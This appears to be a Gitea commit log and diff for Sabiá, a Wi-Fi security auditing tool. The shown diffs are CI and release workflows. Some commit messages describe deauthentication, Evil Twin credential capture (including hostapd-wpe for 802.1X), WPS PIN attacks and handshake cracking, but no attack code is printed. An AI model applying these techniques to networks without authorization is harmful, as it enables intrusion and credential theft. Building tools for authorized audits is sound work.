18 Commits
Author SHA1 Message Date
Lucas Rayan 659701b2d4 chore: padroniza arquitetura Ciberfauna, logo na raiz, hooks de verificação e CI multi-arch no runner ARM
CI / Auditoria de dependências (push) Successful in 12s
CI / Testes (Linux) (push) Successful in 1m34s
Release / Cria a release (push) Successful in 5s
Release / App desktop (linux-aarch64) (push) Successful in 7m32s
CI / Formatação e clippy (push) Successful in 1m9s
CI / Compila o app desktop (Linux) (push) Successful in 1m36s
Release / CLI (linux-aarch64) (push) Successful in 1m23s
Release / CLI (linux-x86_64) (push) Successful in 1m40s
Release / App desktop (linux-x86_64) (push) Failing after 9m5s
Release / App desktop (windows) (push) Failing after 6m20s
2026-10-30 17:38:58 -03:00
Lucas RayanandClaude Sonnet 5.5 30a086a808 release 1.0.3: correct version labels, Windows build fixed
Release / Cria a release (push) Successful in 8s
Release / CLI (linux-aarch64) (push) Successful in 48s
Release / CLI (linux-x86_64) (push) Successful in 1m2s
CI / Formatação e clippy (push) Successful in 20s
CI / Testes (Linux) (push) Successful in 23s
CI / Auditoria de dependências (push) Successful in 13s
CI / Compila o app desktop (Linux) (push) Successful in 1m18s
Release / App desktop (windows) (push) Failing after 3m27s
Release / App desktop (linux) (push) Successful in 5m4s
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 14:41:00 -03:00
Lucas RayanandClaude Sonnet 5.5 833abc6308 fix: gate deauth_directional to Linux
CI / Formatação e clippy (push) Successful in 24s
CI / Testes (Linux) (push) Successful in 25s
CI / Auditoria de dependências (push) Canceled after 3s
CI / Compila o app desktop (Linux) (push) Canceled after 3s
The non-Linux stub at the bottom of the file duplicated a definition that had
no #[cfg(target_os = "linux")] of its own — it inherited none from the
unrelated #[allow] above it. Every non-Linux build (the desktop app's Windows
CI job included) failed with a duplicate-definition error and unresolved
Linux-only imports inside the always-compiled body.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 14:40:29 -03:00
Lucas RayanandClaude Sonnet 5.5 3fc3febff3 release 1.0.2: fix the desktop app build that v1.0.1 shipped broken
Release / App desktop (linux) (push) Successful in 4m48s
Release / CLI (linux-aarch64) (push) Successful in 1m4s
Release / CLI (linux-x86_64) (push) Successful in 1m6s
Release / App desktop (windows) (push) Failing after 3m7s
Release / Cria a release (push) Successful in 4s
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 14:31:47 -03:00
Lucas RayanandClaude Sonnet 5.5 827ef0c2c0 ci: find the desktop bundles in CARGO_TARGET_DIR
CI / Formatação e clippy (push) Successful in 25s
CI / Testes (Linux) (push) Successful in 25s
CI / Auditoria de dependências (push) Successful in 10s
CI / Compila o app desktop (Linux) (push) Successful in 2m3s
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 14:02:19 -03:00
Lucas RayanandClaude Sonnet 5.5 c7638a2f4e ci: build the desktop app (Linux and Windows) automatically on release
Release / Cria a release (push) Successful in 4s
Release / App desktop (linux) (push) Failing after 8m1s
Release / CLI (linux-aarch64) (push) Successful in 51s
Release / CLI (linux-x86_64) (push) Successful in 1m13s
Release / App desktop (windows) (push) Failing after 7m15s
Mirrors Guará's release workflow. No signing key needed here: Sabiá's updater
is the custom module in sabia-core, not the Tauri plugin.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 13:42:35 -03:00
Lucas RayanandClaude Sonnet 5.5 d885d92643 release 1.0.1: update from Gitea, Linux-only CLI, desktop app for Linux and Windows
CI / Formatação e clippy (push) Successful in 49s
CI / Testes (Linux) (push) Successful in 49s
CI / Auditoria de dependências (push) Successful in 12s
CI / Compila o app desktop (Linux) (push) Successful in 1m12s
The updater reads the latest release from Gitea. update::apply refuses to
overwrite anything but the CLI. Release workflow builds the Linux CLI;
scripts/build-gui.sh builds the Linux and Windows desktop app. Docs say Linux
and Windows only.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 13:17:32 -03:00
Lucas RayanandClaude Sonnet 5.5 0e31d28342 ci: create a Gitea release when a v* tag is pushed
CI / Formatação e clippy (push) Successful in 26s
CI / Testes (Linux) (push) Successful in 22s
CI / Compila o app desktop (Linux) (push) Successful in 4m23s
CI / Auditoria de dependências (push) Successful in 5m31s
Notes come from the matching CHANGELOG.md section. The macOS and Windows
binaries the old release workflow built need runners this Gitea does not have.
The CI also ignores .wolf, .claude and the release files.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 12:37:01 -03:00
Lucas RayanandClaude Sonnet 5.5 9bcdd6c139 ci: move the CI to Gitea Actions and cache what is rebuilt
CI / Testes (Linux) (push) Successful in 1m1s
CI / Formatação e clippy (push) Successful in 1m43s
CI / Auditoria de dependências (push) Successful in 5m19s
CI / Compila o app desktop (Linux) (push) Successful in 4m59s
Linux-only runner, so the Windows and macOS legs and GitHub's audit action are
gone. The Rust toolchain, cargo registry and target directories live on the
runner's persistent toolcache volume. release.yml stays under .github and is
not run by Gitea.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-30 10:45:46 -03:00
Lucas Rayan f62e7fd0a1 chore(release): v1.0.0
Release / Cria a release (push) Canceled after 0s
Release / CLI (linux-aarch64) (push) Canceled after 0s
Release / CLI (linux-x86_64) (push) Canceled after 0s
Release / CLI (macos-aarch64) (push) Canceled after 0s
Release / CLI (macos-x86_64) (push) Canceled after 0s
Release / CLI (windows-x86_64) (push) Canceled after 0s
Release / App desktop (linux-x86_64) (push) Canceled after 0s
Release / App desktop (macos-aarch64) (push) Canceled after 0s
Release / App desktop (macos-x86_64) (push) Canceled after 0s
Release / App desktop (windows-x86_64) (push) Canceled after 0s
Release / Publica a release (push) Canceled after 0s
Primeira versão estável: valida ponta a ponta contra hardware real (Evil
Twin PSK e Enterprise, WPS, quebra com regras/máscara, relatório) e fecha
o roadmap de 0.1.0 quase inteiro. Changelog completo em CHANGELOG.md.

- Cargo.toml (workspace + app desktop) e tauri.conf.json: 0.1.0 → 1.0.0.
- README/ROADMAP (EN+PT-BR): refletem o que de fato existe agora
  (regras/máscara, .hc22000, WPS, Evil Twin, relatório), não mais "Next".
- docs/cli.md e docs/interface.md (EN+PT-BR): documentam --rules no
  crack e a aba Ataques/relatório da interface.
2026-10-24 15:00:57 -03:00
Lucas Rayan 62ce8b60d5 fix: avisos de clippy em crack_reader/crack_mask (bound duplicado em where) 2026-10-24 14:56:06 -03:00
Lucas Rayan d3ddf86317 chore: atualiza Cargo.lock (flate2, novas dependências transitivas) 2026-10-24 14:54:53 -03:00
Lucas Rayan 6e0cd7cf10 feat(ui): ataques (Evil Twin, regras/máscara, WPS), captura mais robusta
- app.js/app.css/index.html: telas novas para Evil Twin (PSK e
  Enterprise), regras de mutação/máscara na quebra de senha, WPS,
  indicador de modo (monitor/gerenciado) movido para baixo do seletor de
  interface, e aviso específico quando a placa não entrega captura de
  verdade (ver bug de ScanSnapshot.warning no engine).
- Lista de redes/BSSIDs não reordena mais a cada poll: ordem de chegada
  como critério de desempate e sinal arredondado em buckets de 4 dBm,
  porque reordenar pelo sinal instantâneo fazia as linhas flutuarem de
  posição debaixo do cursor a cada atualização.
- "Forçar handshake" religa a captura sozinho se ela tiver sido parada
  (esperando o AP reaparecer no canal certo antes de disparar o job, e
  travando o alvo numa variável local pra não perder o BSSID se o diálogo
  fechar no meio da espera).
- Grid da aba Ataques trocado de CSS grid pra colunas (alvenaria): cards
  com alturas muito diferentes na mesma linha deixavam buracos vazios
  enormes com align-items:start.
- check-ui-i18n.mjs: ajustes de cobertura para as novas telas.
2026-10-24 14:54:49 -03:00
Lucas Rayan a3ca73e610 feat: orquestra as novas funções no engine, CLI e app desktop; resiliência de rede
- engine.rs: expõe Evil Twin (PSK/Enterprise), crack com regras/máscara,
  relatório e exportação .hc22000 pros três front-ends (CLI, servidor web
  da UI, Tauri). set_monitor() agora solta a interface do NetworkManager
  antes de ativar modo monitor e devolve ao desativar — sem isso o NM
  reafirma a própria conexão por cima e a captura cai sozinha pouco
  depois ("está em modo managed"). Evil Twin grava um arquivo de estado
  em disco antes de soltar as interfaces; se o processo morrer no meio
  (Ctrl+C sem handler, kill -9, queda de energia), o próximo início do
  engine desfaz tudo sozinho (self_heal_eviltwin_leftovers) — sem isso as
  duas interfaces ficavam presas em managed=no pro NetworkManager pra
  sempre e o Wi-Fi inteiro sumia do painel do sistema. hostapd/hostapd-wpe
  que morrem na hora de subir agora reportam a saída real capturada em
  log, em vez de um processo "<defunct>" mudo. Novo
  ScanSnapshot.warning: avisa quando a sessão roda >12s sem receber
  nenhum quadro — sintoma de placa que aceita ativar modo monitor sem
  entregar captura de verdade (comum em Wi-Fi interno de notebook).
- sabia-cli (main.rs/web/mod.rs) e o app desktop (Tauri main.rs) ganham
  as rotas/comandos equivalentes pra tudo isso.
2026-10-24 14:54:35 -03:00
Lucas Rayan 7b39c67830 feat: relatório de auditoria redesenhado (capa, sumário, cabeçalho paginado)
- report.rs: capa em página A4 cheia com o logo do Sabiá embutido (base64,
  funciona offline), sumário com âncoras pra cada seção, cabeçalho/rodapé
  corridos via @page margin boxes (seção atual, numeração X/Y, selo "uso
  autorizado"), cards de KPI e achados com cor por severidade, tabelas
  com cabeçalho/zebra consistentes — paginação em A4 continua feita pelo
  Paged.js no navegador (sem depender de Chromium no servidor).
- Vendoriza paged.polyfill.min.js (MIT) — antes era carregado de fora.
- tauri.conf.json: CSP libera frame-src pro preview do relatório embutido
  (iframe) no app desktop.
2026-10-24 14:54:21 -03:00
Lucas Rayan 91aacba939 feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais
- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda
  interface, com portal cativo pedindo a senha de novo. A senha só é
  aceita se bater de verdade contra o handshake real já capturado
  (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo
  criptográfico. Exige handshake quebrável já capturado desse BSSID e
  autorização explícita, mesma trilha de auditoria dos outros ataques.
- eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise
  (802.1X) — nelas a credencial viaja no próprio handshake EAP
  (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP
  que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe
  (não vendorizado — é um patch no build do hostapd); gera certificado
  TLS autoassinado e eap_user genérico; parser best-effort do log de
  credenciais capturadas. Limitação documentada: cliente que valida a
  cadeia de certificado recusa a conexão.
- analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo,
  possível evil twin real por nome duplicado) e recomendação de canal por
  banda com pontuação de interferência/sobreposição.
2026-10-24 14:54:06 -03:00
Lucas Rayan f83654506e feat: dicionário completo, regras de mutação, máscara, .hc22000 e WPS (reaver)
- crack.rs: dicionário padrão trocado pra wpa-full.txt.gz (rockyou +
  Probable-Wordlists top204k mesclados/deduplicados, 9,7M senhas,
  comprimido e embutido via LazyLock), PBKDF2 ~640x mais rápido
  (paralelização por núcleo + HMAC reaproveitado em vez de reconstruído a
  cada iteração), força bruta por máscara (rules.rs::Mask, sintaxe
  ?d?l?u?s?a) e regras de mutação tipo hashcat (maiúscula, sufixos
  numéricos/símbolos, leet simples).
- hashcat.rs: exportação de handshake/PMKID em .hc22000 (individual ou em
  lote), pro hashcat de verdade em vez de só o dicionário embutido.
- wps.rs: ataque WPS PIN via reaver (binário real do
  reaver-wps-fork-t6x, GPL-2, extraído em tempo de execução) e bully
  quando instalado no sistema.
- assets/wordlists/LICENSE.wpa-full documenta a atribuição (CC BY-SA 4.0
  do Probable-Wordlists; rockyou.txt como dado de vazamento de uso livre
  consolidado em pesquisa de segurança, mesmo padrão do Kali/SecLists).
2026-10-24 14:53:54 -03:00
Lucas Rayan 5477b8fb03 fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são
  big-endian (802.1X segue ordem de rede), então handshakes reais nunca
  fechavam mesmo com deauth funcionando. testutil.rs e os geradores de
  quadro de teste corrigidos junto, mais um teste contra bytes de wire
  reais (não só contra o próprio encoder).
- inject.rs: deauth/disassoc agora grava Sequence Control crescente por
  quadro — reenviar o mesmo quadro era descartado como duplicata pelo
  driver/AP depois do primeiro envio.
- dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF
  obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda,
  padrão PHY, privacidade) e histórico de sinal/eventos por cliente.
- handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é
  quebrada, o suficiente pra decifrar o tráfego em claro do par
  (BSSID, estação) cujo handshake foi capturado.
2026-10-24 14:53:32 -03:00
134 changed files with 15653 additions and 524 deletions

No files matched your search

File renamed without changes.
File renamed without changes.
+88
View File
@@ -0,0 +1,88 @@
name: CI
on:
# Mudança só de documentação ou estado de ferramentas não precisa dos jobs de CI.
push:
branches: [main]
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', '.opencode/**', '.codex/**', '.cursor/**', '.superpowers/**', '.superset/**', '.gitea/ISSUE_TEMPLATE/**', 'scripts/release-notes.sh', 'scripts/release-upload.sh', '.gitea/workflows/release.yml']
pull_request:
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', '.opencode/**', '.codex/**', '.cursor/**', '.superpowers/**', '.superset/**', '.gitea/ISSUE_TEMPLATE/**', 'scripts/release-notes.sh', 'scripts/release-upload.sh', '.gitea/workflows/release.yml']
concurrency:
group: ci-${{ gitea.ref }}
cancel-in-progress: true
env:
CARGO_TERM_COLOR: always
RUSTFLAGS: -D warnings
# O runner mantém /opt/hostedtoolcache num volume que sobrevive entre jobs:
# a toolchain do rustup, o registry do cargo, caches de npm/apt e o diretório
# target ficam ali, então nada disso é baixado ou recompilado do zero. Cada job
# usa o seu próprio target (flags diferentes invalidariam o de outro job).
CARGO_HOME: /opt/hostedtoolcache/cargo
RUSTUP_HOME: /opt/hostedtoolcache/rustup
NPM_CONFIG_CACHE: /opt/hostedtoolcache/npm-cache
jobs:
lint:
name: Formatação e clippy
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-lint
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt, clippy
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Cobertura da tradução da interface
run: node scripts/check-ui-i18n.mjs
- run: cargo fmt --all -- --check
- run: cargo clippy --workspace --all-targets
# Windows e macOS saem: o Gitea aqui tem um único runner, Linux arm64.
test:
name: Testes (Linux)
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-test
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- run: cargo test --workspace
audit:
name: Auditoria de dependências
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
# rustsec/audit-check depends on GitHub's checks API. cargo-audit itself
# needs nothing but the advisory database, and installing it once into the
# persistent CARGO_HOME makes every later run skip the compile.
- name: cargo audit
run: |
command -v cargo-audit >/dev/null || cargo install cargo-audit --locked
cargo audit
gui:
name: Compila o app desktop (Linux)
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-gui
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Dependências do Tauri
timeout-minutes: 25
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Gera os ícones
run: npx --yes @tauri-apps/cli@2 icon apps/gui/src-tauri/icons/source.png -o apps/gui/src-tauri/icons
- run: cargo check --manifest-path apps/gui/src-tauri/Cargo.toml
env:
RUSTFLAGS: ""
+131
View File
@@ -0,0 +1,131 @@
name: Release
# Quando uma tag v* é enviada: cria a entrada em "Releases" com as notas do
# CHANGELOG.md e anexa o CLI compilado (scripts/package-cli.sh), com um .sha256 ao
# lado de cada pacote. É o que o atualizador (`sabia update`) baixa.
#
# O CLI é só para Linux (x86_64 e aarch64), compilado no runner Linux; o x86_64
# por compilação cruzada. Windows e macOS têm só o app desktop.
#
# Assinatura do atualizador (opcional): SABIA_TAURI_SIGNING_PRIVATE_KEY e
# SABIA_TAURI_SIGNING_PRIVATE_KEY_PASSWORD, com os nomes antigos sem prefixo como
# fallback. Sem chave, o build continua e apenas não gera .sig.
on:
push:
tags: ['v*']
env:
CARGO_TERM_COLOR: always
# Toolchain, caches e registry do cargo ficam no volume que sobrevive entre jobs.
CARGO_HOME: /opt/hostedtoolcache/cargo
RUSTUP_HOME: /opt/hostedtoolcache/rustup
NPM_CONFIG_CACHE: /opt/hostedtoolcache/npm-cache
XWIN_CACHE_DIR: /opt/hostedtoolcache/xwin-cache
jobs:
release:
name: Cria a release
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Release
env:
TAG: ${{ gitea.ref_name }}
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
run: |
# Uma execução repetida não recria a release.
if curl -fsS -H "Authorization: token $TOKEN" "$API/releases/tags/$TAG" >/dev/null 2>&1; then
echo "a release $TAG já existe"; exit 0
fi
scripts/release-notes.sh "$TAG" > notes.md
pre=false; case "$TAG" in *-*) pre=true ;; esac
jq -n --arg tag "$TAG" --arg name "Sabiá ${TAG#v}" --rawfile body notes.md --argjson pre "$pre" \
'{tag_name:$tag, name:$name, body:$body, prerelease:$pre}' > release.json
curl -fsS -X POST "$API/releases" -H "Authorization: token $TOKEN" \
-H 'Content-Type: application/json' -d @release.json >/dev/null
cli:
name: CLI (${{ matrix.platform }})
needs: release
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-release-cli-${{ matrix.platform }}
strategy:
fail-fast: false
matrix:
include:
- { platform: linux-aarch64, target: aarch64-unknown-linux-gnu, apt: "" }
- { platform: linux-x86_64, target: x86_64-unknown-linux-gnu, apt: "gcc-x86-64-linux-gnu" }
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.target }}
- name: Linker e ferramentas desta plataforma
if: ${{ matrix.apt != '' }}
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/cli-x86_64 ${{ matrix.apt }}
- name: Compila e empacota
run: scripts/package-cli.sh "${{ gitea.ref_name }}" "${{ matrix.platform }}" "${{ matrix.target }}" | tee packages.txt
- name: Anexa à release
env:
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
run: scripts/release-upload.sh "${{ gitea.ref_name }}" $(cat packages.txt)
gui:
name: App desktop (${{ matrix.platform }})
needs: release
runs-on: ubuntu-latest
env:
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-release-gui-${{ matrix.platform }}
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.SABIA_TAURI_SIGNING_PRIVATE_KEY || secrets.TAURI_SIGNING_PRIVATE_KEY }}
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.SABIA_TAURI_SIGNING_PRIVATE_KEY_PASSWORD || secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
strategy:
fail-fast: false
matrix:
platform: [linux-aarch64, linux-x86_64, windows]
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Dependências do Tauri (Linux aarch64)
if: matrix.platform == 'linux-aarch64'
timeout-minutes: 25
run: scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Dependências do Tauri (Linux x86_64)
if: matrix.platform == 'linux-x86_64'
timeout-minutes: 25
run: |
if [ "$(uname -m)" = aarch64 ]; then
dpkg --add-architecture amd64
. /etc/os-release
if [ "${ID:-}" = ubuntu ]; then
if [ -f /etc/apt/sources.list.d/ubuntu.sources ]; then
grep -q '^Architectures:' /etc/apt/sources.list.d/ubuntu.sources || sed -i '/^Types: deb/a Architectures: arm64' /etc/apt/sources.list.d/ubuntu.sources
printf 'Types: deb\nURIs: http://archive.ubuntu.com/ubuntu/\nSuites: %s %s-updates %s-security\nComponents: main universe\nArchitectures: amd64\nSigned-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg\n' "$VERSION_CODENAME" "$VERSION_CODENAME" "$VERSION_CODENAME" >/etc/apt/sources.list.d/amd64.sources
elif [ -f /etc/apt/sources.list ]; then
sed -i 's/^deb http/deb [arch=arm64] http/' /etc/apt/sources.list
printf 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ %s main universe\ndeb [arch=amd64] http://archive.ubuntu.com/ubuntu/ %s-updates main universe\ndeb [arch=amd64] http://archive.ubuntu.com/ubuntu/ %s-security main universe\n' "$VERSION_CODENAME" "$VERSION_CODENAME" "$VERSION_CODENAME" >/etc/apt/sources.list.d/amd64.list
fi
fi
scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-amd64 gcc-x86-64-linux-gnu g++-x86-64-linux-gnu pkg-config patchelf file squashfs-tools qemu-user libglib2.0-bin libwebkit2gtk-4.1-dev:amd64 libayatana-appindicator3-dev:amd64 librsvg2-dev:amd64
else
scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-native libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
fi
- name: Ferramentas para compilação cruzada (Windows)
if: matrix.platform == 'windows'
run: |
scripts/apt-install.sh /opt/hostedtoolcache/apt-cache/tauri-win nsis lld llvm clang
command -v cargo-xwin >/dev/null || cargo install cargo-xwin --locked
- name: Compila e empacota
run: scripts/build-gui.sh "${{ matrix.platform }}"
- name: Anexa à release
env:
TOKEN: ${{ gitea.token }}
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
run: scripts/release-upload.sh "${{ gitea.ref_name }}" dist-gui/*
+3
View File
@@ -0,0 +1,3 @@
#!/usr/bin/env bash
# Antes de cada push: a verificação rápida. Ignore com `git push --no-verify` (use com parcimônia).
exec "$(git rev-parse --show-toplevel)/scripts/verificar.sh"
-83
View File
@@ -1,83 +0,0 @@
name: CI
on:
# Mudança só de documentação não precisa de 6 jobs em 3 sistemas.
push:
branches: [main]
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**']
pull_request:
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**']
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
env:
CARGO_TERM_COLOR: always
RUSTFLAGS: -D warnings
jobs:
lint:
name: Formatação e clippy
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Cobertura da tradução da interface
run: node scripts/check-ui-i18n.mjs
- run: cargo fmt --all -- --check
- run: cargo clippy --workspace --all-targets
test:
name: Testes (${{ matrix.os }})
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-24.04, windows-latest, macos-latest]
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
- run: cargo test --workspace
audit:
name: Auditoria de dependências
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- uses: rustsec/audit-check@v2
with:
token: ${{ secrets.GITHUB_TOKEN }}
gui:
name: Compila o app desktop (Linux)
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
with:
workspaces: apps/gui/src-tauri
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Cache dos pacotes do Tauri (.deb)
uses: actions/cache@v6
with:
path: ~/apt-cache
key: apt-tauri-${{ runner.os }}-${{ runner.arch }}-${{ env.ImageVersion }}-${{ hashFiles('scripts/apt-install.sh') }}
- name: Dependências do Tauri
timeout-minutes: 25
run: scripts/apt-install.sh ~/apt-cache libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Gera os ícones
run: npx --yes @tauri-apps/cli@2 icon apps/gui/src-tauri/icons/source.png -o apps/gui/src-tauri/icons
- run: cargo check --manifest-path apps/gui/src-tauri/Cargo.toml
env:
RUSTFLAGS: ""
-151
View File
@@ -1,151 +0,0 @@
name: Release
# Publica uma release pública ao empurrar uma tag vX.Y.Z (ex.: git tag v0.1.0 && git push --tags)
on:
push:
tags: ["v*.*.*"]
permissions:
contents: write
env:
CARGO_TERM_COLOR: always
jobs:
create-release:
name: Cria a release
runs-on: ubuntu-24.04
outputs:
release_id: ${{ steps.rel.outputs.result }}
steps:
- uses: actions/checkout@v7
- name: Notas da versão (do CHANGELOG)
id: notes
run: |
v="${GITHUB_REF_NAME#v}"
v="${v%%-*}"
awk -v v="$v" '$0 ~ "^## \\[" v "\\]" {f=1; next} /^## \[/ {f=0} f' CHANGELOG.md > notes.md
[ -s notes.md ] || echo "Veja o CHANGELOG." > notes.md
- uses: actions/github-script@v9
id: rel
with:
script: |
const fs = require('fs');
const tag = context.ref.replace('refs/tags/', '');
const r = await github.rest.repos.createRelease({
owner: context.repo.owner, repo: context.repo.repo, tag_name: tag,
name: `Sabiá ${tag}`, body: fs.readFileSync('notes.md', 'utf8'),
draft: true, prerelease: tag.includes('-'),
});
return r.data.id;
cli:
name: CLI (${{ matrix.name }})
needs: create-release
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
include:
- { name: linux-x86_64, os: ubuntu-24.04, target: x86_64-unknown-linux-gnu }
- { name: linux-aarch64, os: ubuntu-24.04-arm, target: aarch64-unknown-linux-gnu }
- { name: macos-aarch64, os: macos-latest, target: aarch64-apple-darwin }
- { name: macos-x86_64, os: macos-latest, target: x86_64-apple-darwin }
- { name: windows-x86_64, os: windows-latest, target: x86_64-pc-windows-msvc }
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.target }}
- uses: Swatinem/rust-cache@v2
- run: cargo build --release --locked -p sabia-cli --target ${{ matrix.target }}
- name: Empacota
shell: bash
run: |
name="sabia-${GITHUB_REF_NAME}-${{ matrix.name }}"
mkdir "$name"
if [ "$RUNNER_OS" = "Windows" ]; then
cp target/${{ matrix.target }}/release/sabia.exe "$name/"
else
cp target/${{ matrix.target }}/release/sabia "$name/"
fi
cp README.md LICENSE-MIT LICENSE-APACHE "$name/"
if [ "$RUNNER_OS" = "Windows" ]; then
7z a "$name.zip" "$name" >/dev/null; asset="$name.zip"
else
tar czf "$name.tar.gz" "$name"; asset="$name.tar.gz"
fi
if command -v sha256sum >/dev/null; then sha256sum "$asset" > "$asset.sha256"; else shasum -a 256 "$asset" > "$asset.sha256"; fi
echo "ASSET=$asset" >> "$GITHUB_ENV"
- name: Envia para a release
shell: bash
env:
GH_TOKEN: ${{ github.token }}
run: gh release upload "$GITHUB_REF_NAME" "$ASSET" "$ASSET.sha256" --clobber
gui:
name: App desktop (${{ matrix.name }})
needs: create-release
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
include:
- { name: linux-x86_64, os: ubuntu-24.04, args: "" }
- { name: macos-aarch64, os: macos-latest, args: "--target aarch64-apple-darwin" }
- { name: macos-x86_64, os: macos-latest, args: "--target x86_64-apple-darwin" }
- { name: windows-x86_64, os: windows-latest, args: "" }
steps:
- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ contains(matrix.args, 'apple') && 'aarch64-apple-darwin,x86_64-apple-darwin' || '' }}
- uses: Swatinem/rust-cache@v2
with:
workspaces: apps/gui/src-tauri
- uses: actions/setup-node@v7
with:
node-version: 22
- name: Cache dos pacotes do Tauri (.deb)
if: runner.os == 'Linux'
uses: actions/cache@v6
with:
path: ~/apt-cache
key: apt-tauri-${{ runner.os }}-${{ runner.arch }}-${{ env.ImageVersion }}-${{ hashFiles('scripts/apt-install.sh') }}
- name: Dependências do Tauri (Linux)
if: runner.os == 'Linux'
timeout-minutes: 25
run: scripts/apt-install.sh ~/apt-cache libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
- name: Gera os ícones
run: npx --yes @tauri-apps/cli@2 icon apps/gui/src-tauri/icons/source.png -o apps/gui/src-tauri/icons
- uses: tauri-apps/tauri-action@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
projectPath: apps/gui/src-tauri
releaseId: ${{ needs.create-release.outputs.release_id }}
args: ${{ matrix.args }}
publish:
name: Publica a release
needs: [create-release, cli, gui]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v7
- name: Notas da versão (do CHANGELOG)
run: |
v="${GITHUB_REF_NAME#v}"
v="${v%%-*}"
awk -v v="$v" '$0 ~ "^## \\[" v "\\]" {f=1; next} /^## \[/ {f=0} f' CHANGELOG.md > notes.md
[ -s notes.md ] || echo "Veja o CHANGELOG." > notes.md
- uses: actions/github-script@v9
with:
script: |
const fs = require('fs');
await github.rest.repos.updateRelease({
owner: context.repo.owner, repo: context.repo.repo,
release_id: ${{ needs.create-release.outputs.release_id }},
name: `Sabiá ${context.ref.replace('refs/tags/', '')}`,
